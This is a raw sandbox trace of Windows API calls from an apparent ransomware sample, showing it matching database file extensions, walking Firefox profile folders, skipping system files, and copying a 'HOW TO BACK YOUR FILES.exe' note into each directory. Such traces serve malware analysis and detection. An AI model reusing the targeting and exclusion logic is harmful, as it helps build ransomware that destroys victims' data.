	[0045.184] lstrlenW (lpString="dp1") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dp1") returned 1
	[0045.184] lstrlenW (lpString="dqy") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dqy") returned 1
	[0045.184] lstrlenW (lpString="dsk") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dsk") returned 1
	[0045.184] lstrlenW (lpString="dsn") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dsn") returned 1
	[0045.184] lstrlenW (lpString="dtsx") returned 4
	[0045.184] lstrcmpiW (lpString1="atus", lpString2="dtsx") returned -1
	[0045.184] lstrlenW (lpString="dxl") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="dxl") returned 1
	[0045.184] lstrlenW (lpString="eco") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="eco") returned 1
	[0045.184] lstrlenW (lpString="ecx") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="ecx") returned 1
	[0045.184] lstrlenW (lpString="edb") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="edb") returned 1
	[0045.184] lstrlenW (lpString="epim") returned 4
	[0045.184] lstrcmpiW (lpString1="atus", lpString2="epim") returned -1
	[0045.184] lstrlenW (lpString="fcd") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="fcd") returned 1
	[0045.184] lstrlenW (lpString="fdb") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="fdb") returned 1
	[0045.184] lstrlenW (lpString="fic") returned 3
	[0045.184] lstrcmpiW (lpString1="tus", lpString2="fic") returned 1
	[0045.184] lstrlenW (lpString="flexolibrary") returned 12
	[0045.184] lstrcmpiW (lpString1="pdate.status", lpString2="flexolibrary") returned 1
	[0045.185] lstrlenW (lpString="fm5") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fm5") returned 1
	[0045.185] lstrlenW (lpString="fmp") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fmp") returned 1
	[0045.185] lstrlenW (lpString="fmp12") returned 5
	[0045.185] lstrcmpiW (lpString1="tatus", lpString2="fmp12") returned 1
	[0045.185] lstrlenW (lpString="fmpsl") returned 5
	[0045.185] lstrcmpiW (lpString1="tatus", lpString2="fmpsl") returned 1
	[0045.185] lstrlenW (lpString="fol") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fol") returned 1
	[0045.185] lstrlenW (lpString="fp3") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fp3") returned 1
	[0045.185] lstrlenW (lpString="fp4") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fp4") returned 1
	[0045.185] lstrlenW (lpString="fp5") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fp5") returned 1
	[0045.185] lstrlenW (lpString="fp7") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fp7") returned 1
	[0045.185] lstrlenW (lpString="fpt") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="fpt") returned 1
	[0045.185] lstrlenW (lpString="frm") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="frm") returned 1
	[0045.185] lstrlenW (lpString="gdb") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="gdb") returned 1
	[0045.185] lstrlenW (lpString="gdb") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="gdb") returned 1
	[0045.185] lstrlenW (lpString="grdb") returned 4
	[0045.185] lstrcmpiW (lpString1="atus", lpString2="grdb") returned -1
	[0045.185] lstrlenW (lpString="gwi") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="gwi") returned 1
	[0045.185] lstrlenW (lpString="hdb") returned 3
	[0045.185] lstrcmpiW (lpString1="tus", lpString2="hdb") returned 1
	[0045.185] lstrlenW (lpString="his") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="his") returned 1
	[0045.186] lstrlenW (lpString="ib") returned 2
	[0045.186] lstrcmpiW (lpString1="us", lpString2="ib") returned 1
	[0045.186] lstrlenW (lpString="idb") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="idb") returned 1
	[0045.186] lstrlenW (lpString="ihx") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="ihx") returned 1
	[0045.186] lstrlenW (lpString="itdb") returned 4
	[0045.186] lstrcmpiW (lpString1="atus", lpString2="itdb") returned -1
	[0045.186] lstrlenW (lpString="itw") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="itw") returned 1
	[0045.186] lstrlenW (lpString="jet") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="jet") returned 1
	[0045.186] lstrlenW (lpString="jtx") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="jtx") returned 1
	[0045.186] lstrlenW (lpString="kdb") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="kdb") returned 1
	[0045.186] lstrlenW (lpString="kexi") returned 4
	[0045.186] lstrcmpiW (lpString1="atus", lpString2="kexi") returned -1
	[0045.186] lstrlenW (lpString="kexic") returned 5
	[0045.186] lstrcmpiW (lpString1="tatus", lpString2="kexic") returned 1
	[0045.186] lstrlenW (lpString="kexis") returned 5
	[0045.186] lstrcmpiW (lpString1="tatus", lpString2="kexis") returned 1
	[0045.186] lstrlenW (lpString="lgc") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="lgc") returned 1
	[0045.186] lstrlenW (lpString="lwx") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="lwx") returned 1
	[0045.186] lstrlenW (lpString="maf") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="maf") returned 1
	[0045.186] lstrlenW (lpString="maq") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="maq") returned 1
	[0045.186] lstrlenW (lpString="mar") returned 3
	[0045.186] lstrcmpiW (lpString1="tus", lpString2="mar") returned 1
	[0045.186] lstrlenW (lpString="marshal") returned 7
	[0045.187] lstrcmpiW (lpString1=".status", lpString2="marshal") returned -1
	[0045.187] lstrlenW (lpString="mas") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mas") returned 1
	[0045.187] lstrlenW (lpString="mav") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mav") returned 1
	[0045.187] lstrlenW (lpString="maw") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="maw") returned 1
	[0045.187] lstrlenW (lpString="mdbhtml") returned 7
	[0045.187] lstrcmpiW (lpString1=".status", lpString2="mdbhtml") returned -1
	[0045.187] lstrlenW (lpString="mdn") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mdn") returned 1
	[0045.187] lstrlenW (lpString="mdt") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mdt") returned 1
	[0045.187] lstrlenW (lpString="mfd") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mfd") returned 1
	[0045.187] lstrlenW (lpString="mpd") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mpd") returned 1
	[0045.187] lstrlenW (lpString="mrg") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mrg") returned 1
	[0045.187] lstrlenW (lpString="mud") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mud") returned 1
	[0045.187] lstrlenW (lpString="mwb") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="mwb") returned 1
	[0045.187] lstrlenW (lpString="myd") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="myd") returned 1
	[0045.187] lstrlenW (lpString="ndf") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="ndf") returned 1
	[0045.187] lstrlenW (lpString="nnt") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="nnt") returned 1
	[0045.187] lstrlenW (lpString="nrmlib") returned 6
	[0045.187] lstrcmpiW (lpString1="status", lpString2="nrmlib") returned 1
	[0045.187] lstrlenW (lpString="ns2") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="ns2") returned 1
	[0045.187] lstrlenW (lpString="ns3") returned 3
	[0045.187] lstrcmpiW (lpString1="tus", lpString2="ns3") returned 1
	[0045.188] lstrlenW (lpString="ns4") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="ns4") returned 1
	[0045.188] lstrlenW (lpString="nsf") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="nsf") returned 1
	[0045.188] lstrlenW (lpString="nv") returned 2
	[0045.188] lstrcmpiW (lpString1="us", lpString2="nv") returned 1
	[0045.188] lstrlenW (lpString="nv2") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="nv2") returned 1
	[0045.188] lstrlenW (lpString="nwdb") returned 4
	[0045.188] lstrcmpiW (lpString1="atus", lpString2="nwdb") returned -1
	[0045.188] lstrlenW (lpString="nyf") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="nyf") returned 1
	[0045.188] lstrlenW (lpString="odb") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="odb") returned 1
	[0045.188] lstrlenW (lpString="odb") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="odb") returned 1
	[0045.188] lstrlenW (lpString="oqy") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="oqy") returned 1
	[0045.188] lstrlenW (lpString="ora") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="ora") returned 1
	[0045.188] lstrlenW (lpString="orx") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="orx") returned 1
	[0045.188] lstrlenW (lpString="owc") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="owc") returned 1
	[0045.188] lstrlenW (lpString="p96") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="p96") returned 1
	[0045.188] lstrlenW (lpString="p97") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="p97") returned 1
	[0045.188] lstrlenW (lpString="pan") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="pan") returned 1
	[0045.188] lstrlenW (lpString="pdb") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="pdb") returned 1
	[0045.188] lstrlenW (lpString="pdm") returned 3
	[0045.188] lstrcmpiW (lpString1="tus", lpString2="pdm") returned 1
	[0045.188] lstrlenW (lpString="pnz") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="pnz") returned 1
	[0045.189] lstrlenW (lpString="qry") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="qry") returned 1
	[0045.189] lstrlenW (lpString="qvd") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="qvd") returned 1
	[0045.189] lstrlenW (lpString="rbf") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="rbf") returned 1
	[0045.189] lstrlenW (lpString="rctd") returned 4
	[0045.189] lstrcmpiW (lpString1="atus", lpString2="rctd") returned -1
	[0045.189] lstrlenW (lpString="rod") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="rod") returned 1
	[0045.189] lstrlenW (lpString="rodx") returned 4
	[0045.189] lstrcmpiW (lpString1="atus", lpString2="rodx") returned -1
	[0045.189] lstrlenW (lpString="rpd") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="rpd") returned 1
	[0045.189] lstrlenW (lpString="rsd") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="rsd") returned 1
	[0045.189] lstrlenW (lpString="sas7bdat") returned 8
	[0045.189] lstrcmpiW (lpString1="e.status", lpString2="sas7bdat") returned -1
	[0045.189] lstrlenW (lpString="sbf") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="sbf") returned 1
	[0045.189] lstrlenW (lpString="scx") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="scx") returned 1
	[0045.189] lstrlenW (lpString="sdb") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="sdb") returned 1
	[0045.189] lstrlenW (lpString="sdc") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="sdc") returned 1
	[0045.189] lstrlenW (lpString="sdf") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="sdf") returned 1
	[0045.189] lstrlenW (lpString="sis") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="sis") returned 1
	[0045.189] lstrlenW (lpString="spq") returned 3
	[0045.189] lstrcmpiW (lpString1="tus", lpString2="spq") returned 1
	[0045.190] lstrlenW (lpString="te") returned 2
	[0045.190] lstrcmpiW (lpString1="us", lpString2="te") returned 1
	[0045.190] lstrlenW (lpString="teacher") returned 7
	[0045.190] lstrcmpiW (lpString1=".status", lpString2="teacher") returned -1
	[0045.190] lstrlenW (lpString="tmd") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="tmd") returned 1
	[0045.190] lstrlenW (lpString="tps") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="tps") returned 1
	[0045.190] lstrlenW (lpString="trc") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="trc") returned 1
	[0045.190] lstrlenW (lpString="trc") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="trc") returned 1
	[0045.190] lstrlenW (lpString="trm") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="trm") returned 1
	[0045.190] lstrlenW (lpString="udb") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="udb") returned -1
	[0045.190] lstrlenW (lpString="udl") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="udl") returned -1
	[0045.190] lstrlenW (lpString="usr") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="usr") returned -1
	[0045.190] lstrlenW (lpString="v12") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="v12") returned -1
	[0045.190] lstrlenW (lpString="vis") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="vis") returned -1
	[0045.190] lstrlenW (lpString="vpd") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="vpd") returned -1
	[0045.190] lstrlenW (lpString="vvv") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="vvv") returned -1
	[0045.190] lstrlenW (lpString="wdb") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="wdb") returned -1
	[0045.190] lstrlenW (lpString="wmdb") returned 4
	[0045.190] lstrcmpiW (lpString1="atus", lpString2="wmdb") returned -1
	[0045.190] lstrlenW (lpString="wrk") returned 3
	[0045.190] lstrcmpiW (lpString1="tus", lpString2="wrk") returned -1
	[0045.191] lstrlenW (lpString="xdb") returned 3
	[0045.191] lstrcmpiW (lpString1="tus", lpString2="xdb") returned -1
	[0045.191] lstrlenW (lpString="xld") returned 3
	[0045.191] lstrcmpiW (lpString1="tus", lpString2="xld") returned -1
	[0045.191] lstrlenW (lpString="xmlff") returned 5
	[0045.191] lstrcmpiW (lpString1="tatus", lpString2="xmlff") returned -1
	[0045.191] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x80993150, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80993150, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80993150, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="update.status", cAlternateFileName="UPDATE~1.STA")) returned 0
	[0045.191] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.191] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0045.191] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox"
	[0045.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5916c0 | out: hHeap=0x580000) returned 1
	[0045.191] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.191] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned 59
	[0045.191] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox"
	[0045.191] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.204] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.204] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330181f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330181f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.204] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.204] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.204] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.204] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x330181f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x330181f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.204] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.204] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.204] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.204] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.204] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x330181f0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x330181f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.204] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.204] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0045.204] lstrcmpiW (lpString1="Profiles", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.204] lstrcmpiW (lpString1="Profiles", lpString2="Apollon865.txt.exe") returned 1
	[0045.204] lstrcmpiW (lpString1="Profiles", lpString2=".") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="..") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="windows") returned -1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="bootmgr") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="temp") returned -1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="pagefile.sys") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="boot") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="ids.txt") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="ntuser.dat") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="perflogs") returned 1
	[0045.205] lstrcmpiW (lpString1="Profiles", lpString2="MSBuild") returned 1
	[0045.205] lstrlenW (lpString="Profiles") returned 8
	[0045.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\*") returned 61
	[0045.205] lstrcpyW (in: lpString1=0x2d3e5c8, lpString2="Profiles" | out: lpString1="Profiles") returned="Profiles"
	[0045.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7be8
	[0045.205] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x599d28
	[0045.205] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7bf0 | out: ListHead=0x5b76b0, ListEntry=0x5b7bf0) returned 0x5b7ad0
	[0045.205] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 0
	[0045.205] FindClose (in: hFindFile=0x5ca150 | out: hFindFile=0x5ca150) returned 1
	[0045.205] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7bf0
	[0045.205] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0045.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599d28 | out: hHeap=0x580000) returned 1
	[0045.205] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7be8 | out: hHeap=0x580000) returned 1
	[0045.205] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned 68
	[0045.205] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles"
	[0045.205] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0045.205] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\mozilla\\firefox\\profiles\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0045.209] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0045.209] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Mozilla\\Firefox\\Profiles\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3303e350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3303e350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca150
	[0045.209] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.209] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0045.209] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0045.209] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x3303e350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3303e350, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0045.209] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0045.209] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0045.209] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0045.209] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0045.209] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3303e350, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3303e350, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0045.209] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0045.209] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb264df80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x826e2030, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x826e2030, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="silmbjec.default", cAlternateFileName="SILMBJ~1.DEF")) returned 1
	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0045.209] lstrcmpiW (lpString1="silmbjec.default", lpString2="Apollon865.txt.exe") returned 1
